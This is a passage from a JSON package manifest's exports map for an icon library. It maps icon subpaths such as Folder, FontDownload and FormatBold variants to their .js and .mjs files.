\"import\": \"./FlutterDashTwoTone.mjs\",\n      \"default\": \"./FlutterDashTwoTone.mjs\"\n    },\n    \"./FmdBad\": {\n      \"require\": \"./FmdBad.js\",\n      \"import\": \"./FmdBad.mjs\",\n      \"default\": \"./FmdBad.mjs\"\n    },\n    \"./FmdBadOutlined\": {\n      \"require\": \"./FmdBadOutlined.js\",\n      \"import\": \"./FmdBadOutlined.mjs\",\n      \"default\": \"./FmdBadOutlined.mjs\"\n    },\n    \"./FmdBadRounded\": {\n      \"require\": \"./FmdBadRounded.js\",\n      \"import\": \"./FmdBadRounded.mjs\",\n      \"default\": \"./FmdBadRounded.mjs\"\n    },\n    \"./FmdBadSharp\": {\n      \"require\": \"./FmdBadSharp.js\",\n      \"import\": \"./FmdBadSharp.mjs\",\n      \"default\": \"./FmdBadSharp.mjs\"\n    },\n    \"./FmdBadTwoTone\": {\n      \"require\": \"./FmdBadTwoTone.js\",\n      \"import\": \"./FmdBadTwoTone.mjs\",\n      \"default\": \"./FmdBadTwoTone.mjs\"\n    },\n    \"./FmdGood\": {\n      \"require\": \"./FmdGood.js\",\n      \"import\": \"./FmdGood.mjs\",\n      \"default\": \"./FmdGood.mjs\"\n    },\n    \"./FmdGoodOutlined\": {\n      \"require\": \"./FmdGoodOutlined.js\",\n      \"import\": \"./FmdGoodOutlined.mjs\",\n      \"default\": \"./FmdGoodOutlined.mjs\"\n    },\n    \"./FmdGoodRounded\": {\n      \"require\": \"./FmdGoodRounded.js\",\n      \"import\": \"./FmdGoodRounded.mjs\",\n      \"default\": \"./FmdGoodRounded.mjs\"\n    },\n    \"./FmdGoodSharp\": {\n      \"import\": \"./FmdGoodSharp.mjs\",\n      \"require\": \"./FmdGoodSharp.js\",\n      \"default\": \"./FmdGoodSharp.mjs\"\n    },\n    \"./FmdGoodTwoTone\": {\n      \"import\": \"./FmdGoodTwoTone.mjs\",\n      \"require\": \"./FmdGoodTwoTone.js\",\n      \"default\": \"./FmdGoodTwoTone.mjs\"\n    },\n    \"./Foggy\": {\n      \"import\": \"./Foggy.mjs\",\n      \"require\": \"./Foggy.js\",\n      \"default\": \"./Foggy.mjs\"\n    },\n    \"./Folder\": {\n      \"import\": \"./Folder.mjs\",\n      \"require\": \"./Folder.js\",\n      \"default\": \"./Folder.mjs\"\n    },\n    \"./FolderCopy\": {\n      \"import\": \"./FolderCopy.mjs\",\n      \"require\": \"./FolderCopy.js\",\n      \"default\": \"./FolderCopy.mjs\"\n    },\n    \"./FolderCopyOutlined\": {\n      \"import\": \"./FolderCopyOutlined.mjs\",\n      \"require\": \"./FolderCopyOutlined.js\",\n      \"default\": \"./FolderCopyOutlined.mjs\"\n    },\n    \"./FolderCopyRounded\": {\n      \"import\": \"./FolderCopyRounded.mjs\",\n      \"require\": \"./FolderCopyRounded.js\",\n      \"default\": \"./FolderCopyRounded.mjs\"\n    },\n    \"./FolderCopySharp\": {\n      \"import\": \"./FolderCopySharp.mjs\",\n      \"require\": \"./FolderCopySharp.js\",\n      \"default\": \"./FolderCopySharp.mjs\"\n    },\n    \"./FolderCopyTwoTone\": {\n      \"import\": \"./FolderCopyTwoTone.mjs\",\n      \"require\": \"./FolderCopyTwoTone.js\",\n      \"default\": \"./FolderCopyTwoTone.mjs\"\n    },\n    \"./FolderDelete\": {\n      \"import\": \"./FolderDelete.mjs\",\n      \"require\": \"./FolderDelete.js\",\n      \"default\": \"./FolderDelete.mjs\"\n    },\n    \"./FolderDeleteOutlined\": {\n      \"import\": \"./FolderDeleteOutlined.mjs\",\n      \"require\": \"./FolderDeleteOutlined.js\",\n      \"default\": \"./FolderDeleteOutlined.mjs\"\n    },\n    \"./FolderDeleteRounded\": {\n      \"import\": \"./FolderDeleteRounded.mjs\",\n      \"require\": \"./FolderDeleteRounded.js\",\n      \"default\": \"./FolderDeleteRounded.mjs\"\n    },\n    \"./FolderDeleteSharp\": {\n      \"require\": \"./FolderDeleteSharp.js\",\n      \"import\": \"./FolderDeleteSharp.mjs\",\n      \"default\": \"./FolderDeleteSharp.mjs\"\n    },\n    \"./FolderDeleteTwoTone\": {\n      \"require\": \"./FolderDeleteTwoTone.js\",\n      \"import\": \"./FolderDeleteTwoTone.mjs\",\n      \"default\": \"./FolderDeleteTwoTone.mjs\"\n    },\n    \"./FolderOff\": {\n      \"require\": \"./FolderOff.js\",\n      \"import\": \"./FolderOff.mjs\",\n      \"default\": \"./FolderOff.mjs\"\n    },\n    \"./FolderOffOutlined\": {\n      \"require\": \"./FolderOffOutlined.js\",\n      \"import\": \"./FolderOffOutlined.mjs\",\n      \"default\": \"./FolderOffOutlined.mjs\"\n    },\n    \"./FolderOffRounded\": {\n      \"require\": \"./FolderOffRounded.js\",\n      \"import\": \"./FolderOffRounded.mjs\",\n      \"default\": \"./FolderOffRounded.mjs\"\n    },\n    \"./FolderOffSharp\": {\n      \"require\": \"./FolderOffSharp.js\",\n      \"import\": \"./FolderOffSharp.mjs\",\n      \"default\": \"./FolderOffSharp.mjs\"\n    },\n    \"./FolderOffTwoTone\": {\n      \"require\": \"./FolderOffTwoTone.js\",\n      \"import\": \"./FolderOffTwoTone.mjs\",\n      \"default\": \"./FolderOffTwoTone.mjs\"\n    },\n    \"./FolderOpen\": {\n      \"require\": \"./FolderOpen.js\",\n      \"import\": \"./FolderOpen.mjs\",\n      \"default\": \"./FolderOpen.mjs\"\n    },\n    \"./FolderOpenOutlined\": {\n      \"require\": \"./FolderOpenOutlined.js\",\n      \"import\": \"./FolderOpenOutlined.mjs\",\n      \"default\": \"./FolderOpenOutlined.mjs\"\n    },\n    \"./FolderOpenRounded\": {\n      \"require\": \"./FolderOpenRounded.js\",\n      \"import\": \"./FolderOpenRounded.mjs\",\n      \"default\": \"./FolderOpenRounded.mjs\"\n    },\n    \"./FolderOpenSharp\": {\n      \"require\": \"./FolderOpenSharp.js\",\n      \"import\": \"./FolderOpenSharp.mjs\",\n      \"default\": \"./FolderOpenSharp.mjs\"\n    },\n    \"./FolderOpenTwoTone\": {\n      \"require\": \"./FolderOpenTwoTone.js\",\n      \"import\": \"./FolderOpenTwoTone.mjs\",\n      \"default\": \"./FolderOpenTwoTone.mjs\"\n    },\n    \"./FolderOutlined\": {\n      \"require\": \"./FolderOutlined.js\",\n      \"import\": \"./FolderOutlined.mjs\",\n      \"default\": \"./FolderOutlined.mjs\"\n    },\n    \"./FolderRounded\": {\n      \"require\": \"./FolderRounded.js\",\n      \"import\": \"./FolderRounded.mjs\",\n      \"default\": \"./FolderRounded.mjs\"\n    },\n    \"./FolderShared\": {\n      \"require\": \"./FolderShared.js\",\n      \"import\": \"./FolderShared.mjs\",\n      \"default\": \"./FolderShared.mjs\"\n    },\n    \"./FolderSharedOutlined\": {\n      \"require\": \"./FolderSharedOutlined.js\",\n      \"import\": \"./FolderSharedOutlined.mjs\",\n      \"default\": \"./FolderSharedOutlined.mjs\"\n    },\n    \"./FolderSharedRounded\": {\n      \"require\": \"./FolderSharedRounded.js\",\n      \"import\": \"./FolderSharedRounded.mjs\",\n      \"default\": \"./FolderSharedRounded.mjs\"\n    },\n    \"./FolderSharedSharp\": {\n      \"require\": \"./FolderSharedSharp.js\",\n      \"import\": \"./FolderSharedSharp.mjs\",\n      \"default\": \"./FolderSharedSharp.mjs\"\n    },\n    \"./FolderSharedTwoTone\": {\n      \"import\": \"./FolderSharedTwoTone.mjs\",\n      \"require\": \"./FolderSharedTwoTone.js\",\n      \"default\": \"./FolderSharedTwoTone.mjs\"\n    },\n    \"./FolderSharp\": {\n      \"import\": \"./FolderSharp.mjs\",\n      \"require\": \"./FolderSharp.js\",\n      \"default\": \"./FolderSharp.mjs\"\n    },\n    \"./FolderSpecial\": {\n      \"import\": \"./FolderSpecial.mjs\",\n      \"require\": \"./FolderSpecial.js\",\n      \"default\": \"./FolderSpecial.mjs\"\n    },\n    \"./FolderSpecialOutlined\": {\n      \"import\": \"./FolderSpecialOutlined.mjs\",\n      \"require\": \"./FolderSpecialOutlined.js\",\n      \"default\": \"./FolderSpecialOutlined.mjs\"\n    },\n    \"./FolderSpecialRounded\": {\n      \"import\": \"./FolderSpecialRounded.mjs\",\n      \"require\": \"./FolderSpecialRounded.js\",\n      \"default\": \"./FolderSpecialRounded.mjs\"\n    },\n    \"./FolderSpecialSharp\": {\n      \"import\": \"./FolderSpecialSharp.mjs\",\n      \"require\": \"./FolderSpecialSharp.js\",\n      \"default\": \"./FolderSpecialSharp.mjs\"\n    },\n    \"./FolderSpecialTwoTone\": {\n      \"import\": \"./FolderSpecialTwoTone.mjs\",\n      \"require\": \"./FolderSpecialTwoTone.js\",\n      \"default\": \"./FolderSpecialTwoTone.mjs\"\n    },\n    \"./FolderTwoTone\": {\n      \"import\": \"./FolderTwoTone.mjs\",\n      \"require\": \"./FolderTwoTone.js\",\n      \"default\": \"./FolderTwoTone.mjs\"\n    },\n    \"./FolderZip\": {\n      \"import\": \"./FolderZip.mjs\",\n      \"require\": \"./FolderZip.js\",\n      \"default\": \"./FolderZip.mjs\"\n    },\n    \"./FolderZipOutlined\": {\n      \"import\": \"./FolderZipOutlined.mjs\",\n      \"require\": \"./FolderZipOutlined.js\",\n      \"default\": \"./FolderZipOutlined.mjs\"\n    },\n    \"./FolderZipRounded\": {\n      \"import\": \"./FolderZipRounded.mjs\",\n      \"require\": \"./FolderZipRounded.js\",\n      \"default\": \"./FolderZipRounded.mjs\"\n    },\n    \"./FolderZipSharp\": {\n      \"import\": \"./FolderZipSharp.mjs\",\n      \"require\": \"./FolderZipSharp.js\",\n      \"default\": \"./FolderZipSharp.mjs\"\n    },\n    \"./FolderZipTwoTone\": {\n      \"import\": \"./FolderZipTwoTone.mjs\",\n      \"require\": \"./FolderZipTwoTone.js\",\n      \"default\": \"./FolderZipTwoTone.mjs\"\n    },\n    \"./FollowTheSigns\": {\n      \"import\": \"./FollowTheSigns.mjs\",\n      \"require\": \"./FollowTheSigns.js\",\n      \"default\": \"./FollowTheSigns.mjs\"\n    },\n    \"./FollowTheSignsOutlined\": {\n      \"import\": \"./FollowTheSignsOutlined.mjs\",\n      \"require\": \"./FollowTheSignsOutlined.js\",\n      \"default\": \"./FollowTheSignsOutlined.mjs\"\n    },\n    \"./FollowTheSignsRounded\": {\n      \"import\": \"./FollowTheSignsRounded.mjs\",\n      \"require\": \"./FollowTheSignsRounded.js\",\n      \"default\": \"./FollowTheSignsRounded.mjs\"\n    },\n    \"./FollowTheSignsSharp\": {\n      \"import\": \"./FollowTheSignsSharp.mjs\",\n      \"require\": \"./FollowTheSignsSharp.js\",\n      \"default\": \"./FollowTheSignsSharp.mjs\"\n    },\n    \"./FollowTheSignsTwoTone\": {\n      \"import\": \"./FollowTheSignsTwoTone.mjs\",\n      \"require\": \"./FollowTheSignsTwoTone.js\",\n      \"default\": \"./FollowTheSignsTwoTone.mjs\"\n    },\n    \"./FontDownload\": {\n      \"import\": \"./FontDownload.mjs\",\n      \"require\": \"./FontDownload.js\",\n      \"default\": \"./FontDownload.mjs\"\n    },\n    \"./FontDownloadOff\": {\n      \"import\": \"./FontDownloadOff.mjs\",\n      \"require\": \"./FontDownloadOff.js\",\n      \"default\": \"./FontDownloadOff.mjs\"\n    },\n    \"./FontDownloadOffOutlined\": {\n      \"import\": \"./FontDownloadOffOutlined.mjs\",\n      \"require\": \"./FontDownloadOffOutlined.js\",\n      \"default\": \"./FontDownloadOffOutlined.mjs\"\n    },\n    \"./FontDownloadOffRounded\": {\n      \"import\": \"./FontDownloadOffRounded.mjs\",\n      \"require\": \"./FontDownloadOffRounded.js\",\n      \"default\": \"./FontDownloadOffRounded.mjs\"\n    },\n    \"./FontDownloadOffSharp\": {\n      \"import\": \"./FontDownloadOffSharp.mjs\",\n      \"require\": \"./FontDownloadOffSharp.js\",\n      \"default\": \"./FontDownloadOffSharp.mjs\"\n    },\n    \"./FontDownloadOffTwoTone\": {\n      \"import\": \"./FontDownloadOffTwoTone.mjs\",\n      \"require\": \"./FontDownloadOffTwoTone.js\",\n      \"default\": \"./FontDownloadOffTwoTone.mjs\"\n    },\n    \"./FontDownloadOutlined\": {\n      \"import\": \"./FontDownloadOutlined.mjs\",\n      \"require\": \"./FontDownloadOutlined.js\",\n      \"default\": \"./FontDownloadOutlined.mjs\"\n    },\n    \"./FontDownloadRounded\": {\n      \"import\": \"./FontDownloadRounded.mjs\",\n      \"require\": \"./FontDownloadRounded.js\",\n      \"default\": \"./FontDownloadRounded.mjs\"\n    },\n    \"./FontDownloadSharp\": {\n      \"import\": \"./FontDownloadSharp.mjs\",\n      \"require\": \"./FontDownloadSharp.js\",\n      \"default\": \"./FontDownloadSharp.mjs\"\n    },\n    \"./FontDownloadTwoTone\": {\n      \"import\": \"./FontDownloadTwoTone.mjs\",\n      \"require\": \"./FontDownloadTwoTone.js\",\n      \"default\": \"./FontDownloadTwoTone.mjs\"\n    },\n    \"./FoodBank\": {\n      \"import\": \"./FoodBank.mjs\",\n      \"require\": \"./FoodBank.js\",\n      \"default\": \"./FoodBank.mjs\"\n    },\n    \"./FoodBankOutlined\": {\n      \"import\": \"./FoodBankOutlined.mjs\",\n      \"require\": \"./FoodBankOutlined.js\",\n      \"default\": \"./FoodBankOutlined.mjs\"\n    },\n    \"./FoodBankRounded\": {\n      \"import\": \"./FoodBankRounded.mjs\",\n      \"require\": \"./FoodBankRounded.js\",\n      \"default\": \"./FoodBankRounded.mjs\"\n    },\n    \"./FoodBankSharp\": {\n      \"import\": \"./FoodBankSharp.mjs\",\n      \"require\": \"./FoodBankSharp.js\",\n      \"default\": \"./FoodBankSharp.mjs\"\n    },\n    \"./FoodBankTwoTone\": {\n      \"import\": \"./FoodBankTwoTone.mjs\",\n      \"require\": \"./FoodBankTwoTone.js\",\n      \"default\": \"./FoodBankTwoTone.mjs\"\n    },\n    \"./Forest\": {\n      \"import\": \"./Forest.mjs\",\n      \"require\": \"./Forest.js\",\n      \"default\": \"./Forest.mjs\"\n    },\n    \"./ForestOutlined\": {\n      \"import\": \"./ForestOutlined.mjs\",\n      \"require\": \"./ForestOutlined.js\",\n      \"default\": \"./ForestOutlined.mjs\"\n    },\n    \"./ForestRounded\": {\n      \"import\": \"./ForestRounded.mjs\",\n      \"require\": \"./ForestRounded.js\",\n      \"default\": \"./ForestRounded.mjs\"\n    },\n    \"./ForestSharp\": {\n      \"import\": \"./ForestSharp.mjs\",\n      \"require\": \"./ForestSharp.js\",\n      \"default\": \"./ForestSharp.mjs\"\n    },\n    \"./ForestTwoTone\": {\n      \"import\": \"./ForestTwoTone.mjs\",\n      \"require\": \"./ForestTwoTone.js\",\n      \"default\": \"./ForestTwoTone.mjs\"\n    },\n    \"./ForkLeft\": {\n      \"import\": \"./ForkLeft.mjs\",\n      \"require\": \"./ForkLeft.js\",\n      \"default\": \"./ForkLeft.mjs\"\n    },\n    \"./ForkLeftOutlined\": {\n      \"import\": \"./ForkLeftOutlined.mjs\",\n      \"require\": \"./ForkLeftOutlined.js\",\n      \"default\": \"./ForkLeftOutlined.mjs\"\n    },\n    \"./ForkLeftRounded\": {\n      \"import\": \"./ForkLeftRounded.mjs\",\n      \"require\": \"./ForkLeftRounded.js\",\n      \"default\": \"./ForkLeftRounded.mjs\"\n    },\n    \"./ForkLeftSharp\": {\n      \"import\": \"./ForkLeftSharp.mjs\",\n      \"require\": \"./ForkLeftSharp.js\",\n      \"default\": \"./ForkLeftSharp.mjs\"\n    },\n    \"./ForkLeftTwoTone\": {\n      \"import\": \"./ForkLeftTwoTone.mjs\",\n      \"require\": \"./ForkLeftTwoTone.js\",\n      \"default\": \"./ForkLeftTwoTone.mjs\"\n    },\n    \"./ForkRight\": {\n      \"import\": \"./ForkRight.mjs\",\n      \"require\": \"./ForkRight.js\",\n      \"default\": \"./ForkRight.mjs\"\n    },\n    \"./ForkRightOutlined\": {\n      \"import\": \"./ForkRightOutlined.mjs\",\n      \"require\": \"./ForkRightOutlined.js\",\n      \"default\": \"./ForkRightOutlined.mjs\"\n    },\n    \"./ForkRightRounded\": {\n      \"import\": \"./ForkRightRounded.mjs\",\n      \"require\": \"./ForkRightRounded.js\",\n      \"default\": \"./ForkRightRounded.mjs\"\n    },\n    \"./ForkRightSharp\": {\n      \"import\": \"./ForkRightSharp.mjs\",\n      \"require\": \"./ForkRightSharp.js\",\n      \"default\": \"./ForkRightSharp.mjs\"\n    },\n    \"./ForkRightTwoTone\": {\n      \"import\": \"./ForkRightTwoTone.mjs\",\n      \"require\": \"./ForkRightTwoTone.js\",\n      \"default\": \"./ForkRightTwoTone.mjs\"\n    },\n    \"./Forklift\": {\n      \"import\": \"./Forklift.mjs\",\n      \"require\": \"./Forklift.js\",\n      \"default\": \"./Forklift.mjs\"\n    },\n    \"./FormatAlignCenter\": {\n      \"import\": \"./FormatAlignCenter.mjs\",\n      \"require\": \"./FormatAlignCenter.js\",\n      \"default\": \"./FormatAlignCenter.mjs\"\n    },\n    \"./FormatAlignCenterOutlined\": {\n      \"import\": \"./FormatAlignCenterOutlined.mjs\",\n      \"require\": \"./FormatAlignCenterOutlined.js\",\n      \"default\": \"./FormatAlignCenterOutlined.mjs\"\n    },\n    \"./FormatAlignCenterRounded\": {\n      \"import\": \"./FormatAlignCenterRounded.mjs\",\n      \"require\": \"./FormatAlignCenterRounded.js\",\n      \"default\": \"./FormatAlignCenterRounded.mjs\"\n    },\n    \"./FormatAlignCenterSharp\": {\n      \"import\": \"./FormatAlignCenterSharp.mjs\",\n      \"require\": \"./FormatAlignCenterSharp.js\",\n      \"default\": \"./FormatAlignCenterSharp.mjs\"\n    },\n    \"./FormatAlignCenterTwoTone\": {\n      \"import\": \"./FormatAlignCenterTwoTone.mjs\",\n      \"require\": \"./FormatAlignCenterTwoTone.js\",\n      \"default\": \"./FormatAlignCenterTwoTone.mjs\"\n    },\n    \"./FormatAlignJustify\": {\n      \"import\": \"./FormatAlignJustify.mjs\",\n      \"require\": \"./FormatAlignJustify.js\",\n      \"default\": \"./FormatAlignJustify.mjs\"\n    },\n    \"./FormatAlignJustifyOutlined\": {\n      \"import\": \"./FormatAlignJustifyOutlined.mjs\",\n      \"require\": \"./FormatAlignJustifyOutlined.js\",\n      \"default\": \"./FormatAlignJustifyOutlined.mjs\"\n    },\n    \"./FormatAlignJustifyRounded\": {\n      \"import\": \"./FormatAlignJustifyRounded.mjs\",\n      \"require\": \"./FormatAlignJustifyRounded.js\",\n      \"default\": \"./FormatAlignJustifyRounded.mjs\"\n    },\n    \"./FormatAlignJustifySharp\": {\n      \"import\": \"./FormatAlignJustifySharp.mjs\",\n      \"require\": \"./FormatAlignJustifySharp.js\",\n      \"default\": \"./FormatAlignJustifySharp.mjs\"\n    },\n    \"./FormatAlignJustifyTwoTone\": {\n      \"import\": \"./FormatAlignJustifyTwoTone.mjs\",\n      \"require\": \"./FormatAlignJustifyTwoTone.js\",\n      \"default\": \"./FormatAlignJustifyTwoTone.mjs\"\n    },\n    \"./FormatAlignLeft\": {\n      \"import\": \"./FormatAlignLeft.mjs\",\n      \"require\": \"./FormatAlignLeft.js\",\n      \"default\": \"./FormatAlignLeft.mjs\"\n    },\n    \"./FormatAlignLeftOutlined\": {\n      \"import\": \"./FormatAlignLeftOutlined.mjs\",\n      \"require\": \"./FormatAlignLeftOutlined.js\",\n      \"default\": \"./FormatAlignLeftOutlined.mjs\"\n    },\n    \"./FormatAlignLeftRounded\": {\n      \"require\": \"./FormatAlignLeftRounded.js\",\n      \"import\": \"./FormatAlignLeftRounded.mjs\",\n      \"default\": \"./FormatAlignLeftRounded.mjs\"\n    },\n    \"./FormatAlignLeftSharp\": {\n      \"require\": \"./FormatAlignLeftSharp.js\",\n      \"import\": \"./FormatAlignLeftSharp.mjs\",\n      \"default\": \"./FormatAlignLeftSharp.mjs\"\n    },\n    \"./FormatAlignLeftTwoTone\": {\n      \"import\": \"./FormatAlignLeftTwoTone.mjs\",\n      \"require\": \"./FormatAlignLeftTwoTone.js\",\n      \"default\": \"./FormatAlignLeftTwoTone.mjs\"\n    },\n    \"./FormatAlignRight\": {\n      \"import\": \"./FormatAlignRight.mjs\",\n      \"require\": \"./FormatAlignRight.js\",\n      \"default\": \"./FormatAlignRight.mjs\"\n    },\n    \"./FormatAlignRightOutlined\": {\n      \"import\": \"./FormatAlignRightOutlined.mjs\",\n      \"require\": \"./FormatAlignRightOutlined.js\",\n      \"default\": \"./FormatAlignRightOutlined.mjs\"\n    },\n    \"./FormatAlignRightRounded\": {\n      \"import\": \"./FormatAlignRightRounded.mjs\",\n      \"require\": \"./FormatAlignRightRounded.js\",\n      \"default\": \"./FormatAlignRightRounded.mjs\"\n    },\n    \"./FormatAlignRightSharp\": {\n      \"import\": \"./FormatAlignRightSharp.mjs\",\n      \"require\": \"./FormatAlignRightSharp.js\",\n      \"default\": \"./FormatAlignRightSharp.mjs\"\n    },\n    \"./FormatAlignRightTwoTone\": {\n      \"import\": \"./FormatAlignRightTwoTone.mjs\",\n      \"require\": \"./FormatAlignRightTwoTone.js\",\n      \"default\": \"./FormatAlignRightTwoTone.mjs\"\n    },\n    \"./FormatBold\": {\n      \"import\": \"./FormatBold.mjs\",\n      \"require\": \"./FormatBold.js\",\n      \"default\": \"./FormatBold.mjs\"\n    },\n    \"./FormatBoldOutlined\": {\n      \"import\": \"./FormatBoldOutlined.mjs\",\n      \"require\": \"./FormatBoldOutlined.js\",\n      \"default\": \"./FormatBoldOutlined.mjs\"\n    },\n    \"./FormatBoldRounded\": {\n      \"import\": \"./FormatBoldRounded.mjs\",\n      \"require\": \"./FormatBoldRounded.js\",\n      \"default\": \"./FormatBoldRounded.mjs\"\n    },\n    \"./FormatBoldSharp\": {\n      \"import\": \"./FormatBoldSharp.mjs\",\n      \"require\": \"./FormatBoldSharp.js\",\n      \"default\": \"./FormatBoldSharp.mjs\"\n    },\n    \"./FormatBoldTwoTone\": {\n      \"import\": \"./FormatBoldTwoTone.mjs\",\n      \"require\": \"./FormatBoldTwoTone.js\",\n      \"default\": \"./FormatBoldTwoTone.mjs\"\n    },\n    \"./FormatClear\": {\n      \"import\": \"./FormatClear.mjs\",\n      \"require\": \"./FormatClear.js\",\n      \"default\": \"./FormatClear.mjs\"\n    },\n    \"./FormatClearOutlined\": {\n      \"import\": \"./FormatClearOutlined.mjs\",\n      \"require\": \"./FormatClearOutlined.js\",\n      \"default\": \"./FormatClearOutlined.mjs\"\n    },\n    \"./FormatClearRounded\": {\n      \"import\": \"./FormatClearRounded.mjs\",\n      \"require\": \"./FormatClearRounded.js\",\n      \"default\": \"./FormatClearRounded.mjs\"\n    },\n    \"./FormatClearSharp\": {\n      \"import\": \"./FormatClearSharp.mjs\",\n      \"require\": \"./FormatClearSharp.js\",\n      \"default\": \"./FormatClearSharp.mjs\"\n    },\n    \"./FormatClearTwoTone\": {\n      \"import\": \"./FormatClearTwoTone.mjs\",\n      \"require\": \"./FormatClearTwoTone.js\",\n      \"default\": \"./FormatClearTwoTone.mjs\"\n    },\n    \"./FormatColorFill\": {\n      \"import\": \"./FormatColorFill.mjs\",\n      \"require\": \"./FormatColorFill.js\",\n      \"default\": \"./FormatColorFill.mjs\"\n    },\n    \"./FormatColorFillOutlined\": {\n      \"import\": \"./FormatColorFillOutlined.mjs\",\n      \"require\": \"./FormatColorFillOutlined.js\",\n      \"default\": \"./FormatColorFillOutlined.mjs\"\n    },\n    \"./FormatColorFillRounded\": {\n      \"import\": \"./FormatColorFillRounded.mjs\",\n      \"require\": \"./FormatColorFillRounded.js\",\n      \"default\": \"./FormatColorFillRounded.mjs\"\n    },\n    \"./FormatColorFillSharp\": {\n      \"require\": \"./FormatColorFillSharp.js\",\n      \"import\": \"./FormatColorFillSharp.mjs\",\n      \"default\": \"./FormatColorFillSharp.mjs\"\n    },\n    \"./FormatColorFillTwoTone\": {\n      \"require\": \"./FormatColorFillTwoTone.js\",\n      \"import\": \"./FormatColorFillTwoTone.mjs\",\n      \"default\": \"./FormatColorFillTwoTone.mjs\"\n    },\n    \"./FormatColorReset\": {\n      \"require\": \"./FormatColorReset.js\",\n      \"import\": \"./FormatColorReset.mjs\",\n      \"default\": \"./FormatColorReset.mjs\"\n    },\n    \"./FormatColorResetOutlined\": {\n      \"require\": \"./FormatColorResetOutlined.js\",\n      \"import\": \"./FormatColorResetOutlined.mjs\",\n      \"default\": \"./FormatColorResetOutlined.mjs\"\n    },\n    \"./FormatColorResetRounded\": {\n      \"require\": \"./FormatColorResetRounded.js\",\n      \"import\": \"./FormatColorResetRounded.mjs\",\n      \"default\": \"./FormatColorResetRounded.mjs\"\n    },\n    \"./FormatColorResetSharp\": {\n      \"require\": \"./FormatColorResetSharp.js\",\n      \"import\": \"./FormatColorResetSharp.mjs\",\n      \"default\": \"./FormatColorResetSharp.mjs\"\n    },\n    \"./FormatColorResetTwoTone\": {\n      \"require\": \"./FormatColorResetTwoTone.js\",\n      \"import\": \"./FormatColorResetTwoTone.mjs\",\n      \"default\": \"./FormatColorResetTwoTone.mjs\"\n    },\n    \"./FormatColorText\": {\n      \"require\": \"./FormatColorText.js\",\n      \"import\": \"./FormatColorText.mjs\",\n      \"default\": \"./FormatColorText.mjs\"\n    },\n    \"./FormatColorTextOutlined\": {\n      \"require\": \"./FormatColorTextOutlined.js\",\n      \"import\": \"./FormatColorTextOutlined.mjs\",\n      \"default\": \"./FormatColorTextOutlined.mjs\"\n    },\n    \"./FormatColorTextRounded\": {\n      \"require\": \"./FormatColorTextRounded.js\",\n      \"import\": \"./FormatColorTextRounded.mjs\",\n      \"default\": \"./FormatColorTextRounded.mjs\"\n    },\n    \"./FormatColorTextSharp\": {\n      \"import\": \"./FormatColorTextSharp.mjs\",\n      \"require\": \"./FormatColorTextSharp.js\",\n      \"default\": \"./FormatColorTextSharp.mjs\"\n    },\n    \"./FormatColorTextTwoTone\": {\n      \"require\": \"./FormatColorTextTwoTone.js\",\n      \"import\": \"./FormatColorTextTwoTone.mjs\",\n      \"default\": \"./FormatColorTextTwoTone.mjs\"\n    },\n    \"./FormatIndentDecrease\": {\n      \"require\": \"./FormatIndentDecrease.js\",\n      \"import\": \"./FormatIndentDecrease.mjs\",\n      \"default\": \"./FormatIndentDecrease.mjs\"\n    },\n    \"./FormatIndentDecreaseOutlined\": {\n      \"require\": \"./FormatIndentDecreaseOutlined.js\",\n      \"import\": \"./FormatIndentDecreaseOutlined.mjs\",\n      \"default\": \"./FormatIndentDecreaseOutlined.mjs\"\n    },\n    \"./FormatIndentDecreaseRounded\": {\n      \"require\": \"./FormatIndentDecreaseRounded.js\",\n      \"import\": \"./FormatIndentDecreaseRounded.mjs\",\n      \"default\": \"./FormatIndentDecreaseRounded.mjs\"\n    },\n    \"./FormatIndentDecreaseSharp\": {\n      \"require\": \"./FormatIndentDecreaseSharp.js\",\n      \"import\": \"./FormatIndentDecreaseSharp.mjs\",\n      \"default\": \"./FormatIndentDecreaseSharp.mjs\"\n    },\n    \"./FormatIndentDecreaseTwoTone\": {\n      \"require\": \"./FormatIndentDecreaseTwoTone.js\",\n      \"import\": \"./FormatIndentDecreaseTwoTone.mjs\",\n      \"default\": \"./FormatIndentDecreaseTwoTone.mjs\"\n    },\n    \"./FormatIndentIncrease\": {\n      \"require\": \"./FormatIndentIncrease.js\",\n      \"import\": \"./FormatIndentIncrease.mjs\",\n      \"default\": \"./FormatIndentIncrease.mjs\"\n    },\n    \"./FormatIndentIncreaseOutlined\": {\n      \"require\": \"./FormatIndentIncreaseOutlined.js\",\n      \"import\": \"./FormatIndentIncreaseOutlined.mjs\",\n      \"default\": \"./FormatIndentIncreaseOutlined.mjs\"\n    },\n    \"./FormatIndentIncreaseRounded\": {\n      \"import\": \"./FormatIndentIncreaseRounded.mjs\",\n      \"require\": \"./FormatIndentIncreaseRounded.js\",\n      \"default\": \"./FormatIndentIncreaseRounded.mjs\"\n    },\n    \"./FormatIndentIncreaseSharp\": {\n      \"import\": \"./FormatIndentIncreaseSharp.mjs\",\n      \"require\": \"./FormatIndentIncreaseSharp.js\",\n      \"default\": \"./FormatIndentIncreaseSharp.mjs\"\n    },\n    \"./FormatIndentIncreaseTwoTone\": {\n      \"import\": \"./FormatIndentIncreaseTwoTone.mjs\",\n      \"require\": \"./FormatIndentIncreaseTwoTone.js\",\n      \"default\": \"./FormatIndentIncreaseTwoTone.mjs\"\n    },\n    \"./FormatItalic\": {\n      \"import\": \"./FormatItalic.mjs\",\n      \"require\": \"./FormatItalic.js\",\n      \"default\": \"./FormatItalic.mjs\"\n    },\n    \"./FormatItalicOutlined\": {\n      \"import\": \"./FormatItalicOutlined.mjs\",\n      \"require\": \"./FormatItalicOutlined.js\",\n      \"default\": \"./FormatItalicOutlined.mjs\"\n    },\n    \"./FormatItalicRounded\": {\n      \"import\": \"./FormatItalicRounded.mjs\",\n      \"require\": \"./FormatItalicRounded.js\",\n      \"default\": \"./FormatItalicRounded.mjs\"\n    },\n    \"./FormatItalicSharp\": {\n      \"import\": \"./FormatItalicSharp.mjs\",\n      \"require\": \"./FormatItalicSharp.js\",\n      \"default\": \"./FormatItalicSharp.mjs\"\n    },\n    \"./FormatItalicTwoTone\": {\n      \"import\": \"./FormatItalicTwoTone.mjs\",\n      \"require\": \"./FormatItalicTwoTone.js\",\n      \"default\": \"./FormatItalicTwoTone.mjs\"\n    },\n    \"./FormatLineSpacing\": {\n      \"import\": \"./FormatLineSpacing.mjs\",\n      \"require\": \"./FormatLineSpacing.js\",\n      \"default\": \"./FormatLineSpacing.mjs\"\n    },\n    \"./FormatLineSpacingOutlined\": {\n      \"import\": \"./FormatLineSpacingOutlined.mjs\",\n      \"require\": \"./FormatLineSpacingOutlined.js\",\n      \"default\": \"./FormatLineSpacingOutlined.mjs\"\n    },\n    \"./FormatLineSpacingRounded\": {\n      